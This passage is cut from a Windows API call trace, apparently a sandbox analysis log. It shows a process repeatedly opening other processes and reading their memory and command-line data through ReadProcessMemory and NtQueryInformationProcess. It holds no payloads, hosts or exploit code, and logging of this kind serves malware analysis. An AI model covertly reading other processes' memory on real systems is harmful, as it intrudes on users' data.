dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.765] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.778] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x460 [0197.778] GetLastError () returned 0x0 [0197.778] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.778] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x21e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.778] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.779] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.779] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.780] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.781] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.781] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x21e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.781] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.781] malloc (_Size=0x7a) returned 0x20abc286890 [0197.781] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e196a, lpBuffer=0x20abc286890, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0197.782] free (_Block=0x20abc286890) [0197.783] CloseHandle (hObject=0x460) returned 1 [0197.783] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0197.788] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3600") returned 4 [0197.789] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.789] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x458 [0197.922] GetLastError () returned 0x0 [0197.922] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.922] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.922] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.923] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.923] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.923] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.924] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.924] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0197.925] malloc (_Size=0xa6) returned 0x20abc2831b0 [0197.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5c1996, lpBuffer=0x20abc2831b0, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0197.926] free (_Block=0x20abc2831b0) [0197.926] CloseHandle (hObject=0x458) returned 1 [0197.927] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0197.930] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3616") returned 4 [0197.931] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0197.931] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0197.945] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x458 [0197.945] GetLastError () returned 0x0 [0197.945] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0197.945] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3a6018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0197.945] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0197.945] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x461d50, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0197.945] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4618f8, lpBuffer=0x2dc24fc2d0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0197.946] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0197.947] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0197.947] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3a6020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0197.947] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4612e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.082] malloc (_Size=0x94) returned 0x20abc286890 [0198.082] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x461984, lpBuffer=0x20abc286890, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0198.083] free (_Block=0x20abc286890) [0198.084] CloseHandle (hObject=0x458) returned 1 [0198.084] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0198.127] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3624") returned 4 [0198.128] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.128] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.145] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x458 [0198.145] GetLastError () returned 0x0 [0198.146] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.146] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3af018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.146] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.146] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.146] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.147] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.149] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.149] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3af020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.149] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.149] malloc (_Size=0x9a) returned 0x20abc286890 [0198.149] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1d198a, lpBuffer=0x20abc286890, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0198.150] free (_Block=0x20abc286890) [0198.150] CloseHandle (hObject=0x458) returned 1 [0198.151] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0198.156] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3636") returned 4 [0198.157] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.157] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x458 [0198.337] GetLastError () returned 0x0 [0198.337] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.337] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.337] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.337] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.337] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5418f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.339] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.340] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.340] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.340] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.341] malloc (_Size=0x78) returned 0x20abc282120 [0198.341] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0198.341] free (_Block=0x20abc282120) [0198.342] CloseHandle (hObject=0x458) returned 1 [0198.342] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0198.347] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3644") returned 4 [0198.348] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.348] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.365] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x458 [0198.365] GetLastError () returned 0x0 [0198.365] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.365] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2fd018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.366] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.366] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.366] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.367] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.368] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.368] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2fd020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.369] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.369] malloc (_Size=0x72) returned 0x20abc2831b0 [0198.369] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0198.370] free (_Block=0x20abc2831b0) [0198.496] CloseHandle (hObject=0x458) returned 1 [0198.496] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0198.501] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3660") returned 4 [0198.502] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.502] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.519] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x458 [0198.519] GetLastError () returned 0x0 [0198.519] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.519] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x275018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.519] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.519] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x151cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.520] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1518f8, lpBuffer=0x2dc24fc2d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.521] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.522] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.522] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x275020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.522] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.522] malloc (_Size=0x60) returned 0x20abc280290 [0198.522] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x151950, lpBuffer=0x20abc280290, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0198.524] free (_Block=0x20abc280290) [0198.525] CloseHandle (hObject=0x458) returned 1 [0198.525] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0198.530] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3676") returned 4 [0198.531] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.531] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x458 [0198.654] GetLastError () returned 0x0 [0198.654] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.654] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2b1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x531cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5318f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.656] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.657] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.657] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2b1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.657] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5312e0, 